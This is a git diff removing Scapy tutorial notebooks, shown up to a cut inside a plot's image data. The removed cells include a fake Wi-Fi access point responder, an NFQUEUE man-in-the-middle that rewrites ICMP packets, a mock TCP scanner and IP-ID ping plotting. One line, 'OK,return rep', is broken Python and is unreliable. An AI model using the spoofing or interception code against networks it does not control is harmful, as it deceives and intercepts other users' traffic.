- "The following example uses Scapy Wi-Fi capabilities to pretend that a \"Scapy !\" access point exists.\n",
- "\n",
- "Note: your Wi-Fi interface must be set to monitor mode !"
- ]
- },
- {
- "cell_type": "code",
- "execution_count": 129,
- "metadata": {},
- "outputs": [],
- "source": [
- "# Specify the Wi-Fi monitor interface\n",
- "#conf.iface = \"mon0\" # uncomment to test\n",
- "\n",
- "# Create an answering machine\n",
- "class ProbeRequest_am(AnsweringMachine):\n",
- " function_name = \"pram\"\n",
- "\n",
- " # The fake mac of the fake access point\n",
- " mac = \"00:11:22:33:44:55\"\n",
- "\n",
- " def is_request(self, pkt):\n",
- " return Dot11ProbeReq in pkt\n",
- "\n",
- " def make_reply(self, req):\n",
- "\n",
- " rep = RadioTap()\n",
- " # Note: depending on your Wi-Fi card, you might need a different header than RadioTap()\n",
- " rep /= Dot11(addr1=req.addr2, addr2=self.mac, addr3=self.mac, ID=RandShort(), SC=RandShort())\n",
- " rep /= Dot11ProbeResp(cap=\"ESS\", timestamp=time.time())\n",
- " rep /= Dot11Elt(ID=\"SSID\",info=\"Scapy !\")\n",
- " rep /= Dot11Elt(ID=\"Rates\",info=b'\\x82\\x84\\x0b\\x16\\x96')\n",
- " rep /= Dot11Elt(ID=\"DSset\",info=chr(10))\n",
- "\n",
- " OK,return rep\n",
- "\n",
- "# Start the answering machine\n",
- "#ProbeRequest_am()() # uncomment to test"
- ]
- },
- {
- "cell_type": "markdown",
- "metadata": {},
- "source": [
- "## Cheap Man-in-the-middle with NFQUEUE"
- ]
- },
- {
- "cell_type": "markdown",
- "metadata": {},
- "source": [
- "NFQUEUE is an iptables target than can be used to transfer packets to userland process. As a nfqueue module is available in Python, you can take advantage of this Linux feature to perform Scapy based MiTM.\n",
- "\n",
- "This example intercepts ICMP Echo request messages sent to 8.8.8.8, sent with the ping command, and modify their sequence numbers. In order to pass packets to Scapy, the following `iptable` command put packets into the NFQUEUE #2807:\n",
- "\n",
- "$ sudo iptables -I OUTPUT --destination 8.8.8.8 -p icmp -o eth0 -j NFQUEUE --queue-num 2807"
- ]
- },
- {
- "cell_type": "code",
- "execution_count": null,
- "metadata": {},
- "outputs": [],
- "source": [
- " from scapy.all import *\n",
- " import nfqueue, socket\n",
- "\n",
- " def scapy_cb(i, payload):\n",
- " s = payload.get_data() # get and parse the packet\n",
- " p = IP(s)\n",
- "\n",
- " # Check if the packet is an ICMP Echo Request to 8.8.8.8\n",
- " if p.dst == \"8.8.8.8\" and ICMP in p:\n",
- " # Delete checksums to force Scapy to compute them\n",
- " del(p[IP].chksum, p[ICMP].chksum)\n",
- " \n",
- " # Set the ICMP sequence number to 0\n",
- " p[ICMP].seq = 0\n",
- " \n",
- " # Let the modified packet go through\n",
- " ret = payload.set_verdict_modified(nfqueue.NF_ACCEPT, raw(p), len(p))\n",
- " \n",
- " else:\n",
- " # Accept all packets\n",
- " payload.set_verdict(nfqueue.NF_ACCEPT)\n",
- "\n",
- " # Get an NFQUEUE handler\n",
- " q = nfqueue.queue()\n",
- " # Set the function that will be call on each received packet\n",
- " q.set_callback(scapy_cb)\n",
- " # Open the queue & start parsing packes\n",
- " q.fast_open(2807, socket.AF_INET)\n",
- " q.try_run()"
- ]
- },
- {
- "cell_type": "markdown",
- "metadata": {},
- "source": [
- "# Automaton"
- ]
- },
- {
- "cell_type": "markdown",
- "metadata": {},
- "source": [
- "When more logic is needed, Scapy provides a clever way abstraction to define an automaton. In a nutshell, you need to define an object that inherits from `Automaton`, and implement specific methods:\n",
- "- states: using the `@ATMT.state` decorator. They usually do nothing\n",
- "- conditions: using the `@ATMT.condition` and `@ATMT.receive_condition` decorators. They describe how to go from one state to another\n",
- "- actions: using the `ATMT.action` decorator. They describe what to do, like sending a back, when changing state"
- ]
- },
- {
- "cell_type": "markdown",
- "metadata": {},
- "source": [
- "The following example does nothing more than trying to mimic a TCP scanner:"
- ]
- },
- {
- "cell_type": "code",
- "execution_count": 6,
- "metadata": {},
- "outputs": [
- {
- "name": "stdout",
- "output_type": "stream",
- "text": [
- "-> SYN\n",
- "<- SYN/ACK\n"
- ]
- }
- ],
- "source": [
- "class TCPScanner(Automaton):\n",
- "\n",
- " @ATMT.state(initial=1)\n",
- " def BEGIN(self):\n",
- " pass\n",
- "\n",
- " @ATMT.state()\n",
- " def SYN(self):\n",
- " print \"-> SYN\"\n",
- "\n",
- " @ATMT.state()\n",
- " def SYN_ACK(self):\n",
- " print \"<- SYN/ACK\"\n",
- " raise self.END()\n",
- "\n",
- " @ATMT.state()\n",
- " def RST(self):\n",
- " print \"<- RST\"\n",
- " raise self.END()\n",
- "\n",
- " @ATMT.state()\n",
- " def ERROR(self):\n",
- " print \"!! ERROR\"\n",
- " raise self.END()\n",
- " @ATMT.state(final=1)\n",
- " def END(self):\n",
- " pass\n",
- " \n",
- " @ATMT.condition(BEGIN)\n",
- " def condition_BEGIN(self):\n",
- " raise self.SYN()\n",
- "\n",
- " @ATMT.condition(SYN)\n",
- " def condition_SYN(self):\n",
- "\n",
- " if random.randint(0, 1):\n",
- " raise self.SYN_ACK()\n",
- " else:\n",
- " raise self.RST()\n",
- "\n",
- " @ATMT.timeout(SYN, 1)\n",
- " def timeout_SYN(self):\n",
- " raise self.ERROR()\n",
- "\n",
- "TCPScanner().run()"
- ]
- },
- {
- "cell_type": "code",
- "execution_count": 7,
- "metadata": {},
- "outputs": [
- {
- "name": "stdout",
- "output_type": "stream",
- "text": [
- "-> SYN\n",
- "<- RST\n"
- ]
- }
- ],
- "source": [
- "TCPScanner().run()"
- ]
- },
- {
- "cell_type": "markdown",
- "metadata": {},
- "source": [
- "# Pipes"
- ]
- },
- {
- "cell_type": "markdown",
- "metadata": {},
- "source": [
- "Pipes are an advanced Scapy feature that aims sniffing, modifying and printing packets. The API provides several buildings blocks. All of them, have high entries and exits (>>) as well as low (>) ones.\n",
- "\n",
- "For example, the `CliFeeder` is used to send message from the Python command line to a low exit. It can be combined to the `InjectSink` that reads message on its low entry and inject them to the specified network interface. These blocks can be combined as follows:"
- ]
- },
- {
- "cell_type": "raw",
- "metadata": {},
- "source": [
- "# Instanciate the blocks\n",
- "clf = CLIFeeder()\n",
- "ijs = InjectSink(\"enx3495db043a28\")\n",
- "\n",
- "# Plug blocks together\n",
- "clf > ijs\n",
- "\n",
- "# Create and start the engine\n",
- "pe = PipeEngine(clf)\n",
- "pe.start()"
- ]
- },
- {
- "cell_type": "markdown",
- "metadata": {},
- "source": [
- "Packet can be sent using the following command on the prompt:"
- ]
- },
- {
- "cell_type": "raw",
- "metadata": {},
- "source": [
- "clf.send(\"Hello Scapy !\")"
- ]
- }
- ],
- "metadata": {
- "kernelspec": {
- "display_name": "Python 2",
- "language": "python",
- "name": "python2"
- },
- "language_info": {
- "codemirror_mode": {
- "name": "ipython",
- "version": 2
- },
- "file_extension": ".py",
- "mimetype": "text/x-python",
- "name": "python",
- "nbconvert_exporter": "python",
- "pygments_lexer": "ipython2",
- "version": "2.7.12"
- }
- },
- "nbformat": 4,
- "nbformat_minor": 1
-}
diff --git a/doc/notebooks/graphs-ipids.ipynb b/doc/notebooks/graphs-ipids.ipynb
deleted file mode 100644
index 24bd4ef9..00000000
--- a/doc/notebooks/graphs-ipids.ipynb
+++ /dev/null
@@ -1,611 +0,0 @@
-{
- "metadata": {
- "name": ""
- },
- "nbformat": 3,
- "nbformat_minor": 0,
- "worksheets": [
- {
- "cells": [
- {
- "cell_type": "code",
- "collapsed": false,
- "input": [
- "from scapy.all import *"
- ],
- "language": "python",
- "metadata": {},
- "outputs": [
- {
- "output_type": "stream",
- "stream": "stderr",
- "text": [
- "WARNING: No route found for IPv6 destination :: (no default route?)\n"
- ]
- },
- {
- "output_type": "stream",
- "stream": "stderr",
- "text": [
- "WARNING:scapy.runtime:No route found for IPv6 destination :: (no default route?)\n"
- ]
- }
- ],
- "prompt_number": 1
- },
- {
- "cell_type": "code",
- "collapsed": false,
- "input": [
- "ans, unans = srloop(IP(dst=[\"8.8.8.8\", \"8.8.4.4\"])/ICMP(), inter=.1, timeout=.1, count=100, verbose=False)"
- ],
- "language": "python",
- "metadata": {},
- "outputs": [
- {
- "output_type": "stream",
- "stream": "stdout",
- "text": [
- "\r",
- "send...\r",
- "\r",
- "send...\r"
- ]
- },
- {
- "output_type": "stream",
- "stream": "stdout",
- "text": [
- "\r",
- "send...\r",
- "\r",
- "send...\r"
- ]
- },
- {
- "output_type": "stream",
- "stream": "stdout",
- "text": [
- "\r",
- "send...\r",
- "\r",
- "send...\r"
- ]
- },
- {
- "output_type": "stream",
- "stream": "stdout",
- "text": [
- "\r",
- "send...\r",
- "\r",
- "send...\r"
- ]
- },
- {
- "output_type": "stream",
- "stream": "stdout",
- "text": [
- "\r",
- "send...\r",
- "\r",
- "send...\r"
- ]
- },
- {
- "output_type": "stream",
- "stream": "stdout",
- "text": [
- "\r",
- "send...\r",
- "\r",
- "send...\r"
- ]
- },
- {
- "output_type": "stream",
- "stream": "stdout",
- "text": [
- "\r",
- "send...\r",
- "\r",
- "send...\r"
- ]
- },
- {
- "output_type": "stream",
- "stream": "stdout",
- "text": [
- "\r",
- "send...\r",
- "\r",
- "send...\r"
- ]
- },
- {
- "output_type": "stream",
- "stream": "stdout",
- "text": [
- "\r",
- "send...\r",
- "\r",
- "send...\r"
- ]
- },
- {
- "output_type": "stream",
- "stream": "stdout",
- "text": [
- "\r",
- "send...\r",
- "\r",
- "send...\r"
- ]
- },
- {
- "output_type": "stream",
- "stream": "stdout",
- "text": [
- "\r",
- "send...\r",
- "\r",
- "send...\r"
- ]
- },
- {
- "output_type": "stream",
- "stream": "stdout",
- "text": [
- "\r",
- "send...\r",
- "\r",
- "send...\r"
- ]
- },
- {
- "output_type": "stream",
- "stream": "stdout",
- "text": [
- "\r",
- "send...\r",
- "\r",
- "send...\r"
- ]
- },
- {
- "output_type": "stream",
- "stream": "stdout",
- "text": [
- "\r",
- "send...\r",
- "\r",
- "send...\r"
- ]
- },
- {
- "output_type": "stream",
- "stream": "stdout",
- "text": [
- "\r",
- "send...\r",
- "\r",
- "send...\r"
- ]
- },
- {
- "output_type": "stream",
- "stream": "stdout",
- "text": [
- "\r",
- "send...\r",
- "\r",
- "send...\r"
- ]
- },
- {
- "output_type": "stream",
- "stream": "stdout",
- "text": [
- "\r",
- "send...\r",
- "\r",
- "send...\r"
- ]
- },
- {
- "output_type": "stream",
- "stream": "stdout",
- "text": [
- "\r",
- "send...\r",
- "\r",
- "send...\r"
- ]
- },
- {
- "output_type": "stream",
- "stream": "stdout",
- "text": [
- "\r",
- "send...\r",
- "\r",
- "send...\r"
- ]
- },
- {
- "output_type": "stream",
- "stream": "stdout",
- "text": [
- "\r",
- "send...\r",
- "\r",
- "send...\r"
- ]
- },
- {
- "output_type": "stream",
- "stream": "stdout",
- "text": [
- "\r",
- "send...\r",
- "\r",
- "send...\r"
- ]
- },
- {
- "output_type": "stream",
- "stream": "stdout",
- "text": [
- "\r",
- "send...\r",
- "\r",
- "send...\r"
- ]
- },
- {
- "output_type": "stream",
- "stream": "stdout",
- "text": [
- "\r",
- "send...\r",
- "\r",
- "send...\r"
- ]
- },
- {
- "output_type": "stream",
- "stream": "stdout",
- "text": [
- "\r",
- "send...\r",
- "\r",
- "send...\r"
- ]
- },
- {
- "output_type": "stream",
- "stream": "stdout",
- "text": [
- "\r",
- "send...\r",
- "\r",
- "send...\r"
- ]
- },
- {
- "output_type": "stream",
- "stream": "stdout",
- "text": [
- "\r",
- "send...\r",
- "\r",
- "send...\r"
- ]
- },
- {
- "output_type": "stream",
- "stream": "stdout",
- "text": [
- "\r",
- "send...\r",
- "\r",
- "send...\r"
- ]
- },
- {
- "output_type": "stream",
- "stream": "stdout",
- "text": [
- "\r",
- "send...\r",
- "\r",
- "send...\r"
- ]
- },
- {
- "output_type": "stream",
- "stream": "stdout",
- "text": [
- "\r",
- "send...\r",
- "\r",
- "send...\r"
- ]
- },
- {
- "output_type": "stream",
- "stream": "stdout",
- "text": [
- "\r",
- "send...\r",
- "\r",
- "send...\r"
- ]
- },
- {
- "output_type": "stream",
- "stream": "stdout",
- "text": [
- "\r",
- "send...\r",
- "\r",
- "send...\r"
- ]
- },
- {
- "output_type": "stream",
- "stream": "stdout",
- "text": [
- "\r",
- "send...\r",
- "\r",
- "send...\r"
- ]
- },
- {
- "output_type": "stream",
- "stream": "stdout",
- "text": [
- "\r",
- "send...\r",
- "\r",
- "send...\r"
- ]
- },
- {
- "output_type": "stream",
- "stream": "stdout",
- "text": [
- "\r",
- "send...\r",
- "\r",
- "send...\r"
- ]
- },
- {
- "output_type": "stream",
- "stream": "stdout",
- "text": [
- "\r",
- "send...\r",
- "\r",
- "send...\r"
- ]
- },
- {
- "output_type": "stream",
- "stream": "stdout",
- "text": [
- "\r",
- "send...\r",
- "\r",
- "send...\r"
- ]
- },
- {
- "output_type": "stream",
- "stream": "stdout",
- "text": [
- "\r",
- "send...\r",
- "\r",
- "send...\r"
- ]
- },
- {
- "output_type": "stream",
- "stream": "stdout",
- "text": [
- "\r",
- "send...\r",
- "\r",
- "send...\r"
- ]
- },
- {
- "output_type": "stream",
- "stream": "stdout",
- "text": [
- "\r",
- "send...\r",
- "\r",
- "send...\r"
- ]
- },
- {
- "output_type": "stream",
- "stream": "stdout",
- "text": [
- "\r",
- "send...\r",
- "\r",
- "send...\r"
- ]
- },
- {
- "output_type": "stream",
- "stream": "stdout",
- "text": [
- "\r",
- "send...\r",
- "\r",
- "send...\r"
- ]
- },
- {
- "output_type": "stream",
- "stream": "stdout",
- "text": [
- "\r",
- "send...\r",
- "\r",
- "send...\r"
- ]
- },
- {
- "output_type": "stream",
- "stream": "stdout",
- "text": [
- "\r",
- "send...\r",
- "\r",
- "send...\r"
- ]
- },
- {
- "output_type": "stream",
- "stream": "stdout",
- "text": [
- "\r",
- "send...\r",
- "\r",
- "send...\r"
- ]
- },
- {
- "output_type": "stream",
- "stream": "stdout",
- "text": [
- "\r",
- "send...\r",
- "\r",
- "send...\r"
- ]
- },
- {
- "output_type": "stream",
- "stream": "stdout",
- "text": [
- "\r",
- "send...\r",
- "\r",
- "send...\r"
- ]
- },
- {
- "output_type": "stream",
- "stream": "stdout",
- "text": [
- "\r",
- "send...\r",
- "\r",
- "send...\r"
- ]
- },
- {
- "output_type": "stream",
- "stream": "stdout",
- "text": [
- "\r",
- "send...\r",
- "\r",
- "send...\r"
- ]
- },
- {
- "output_type": "stream",
- "stream": "stdout",
- "text": [
- "\r",
- "send...\r",
- "\r",
- "send...\r"
- ]
- },
- {
- "output_type": "stream",
- "stream": "stdout",
- "text": [
- "\r",
- "send...\r",
- "\r",
- "send...\r"
- ]
- }
- ],
- "prompt_number": 5
- },
- {
- "cell_type": "code",
- "collapsed": false,
- "input": [
- "%matplotlib inline\n",
- "ans.multiplot(lambda (p, q): (q[IP].src, (q.time, q[IP].id)), plot_xy=True)"
- ],
- "language": "python",
- "metadata": {},
- "outputs": [
- {
- "metadata": {},
- "output_type": "display_data",
- "png": "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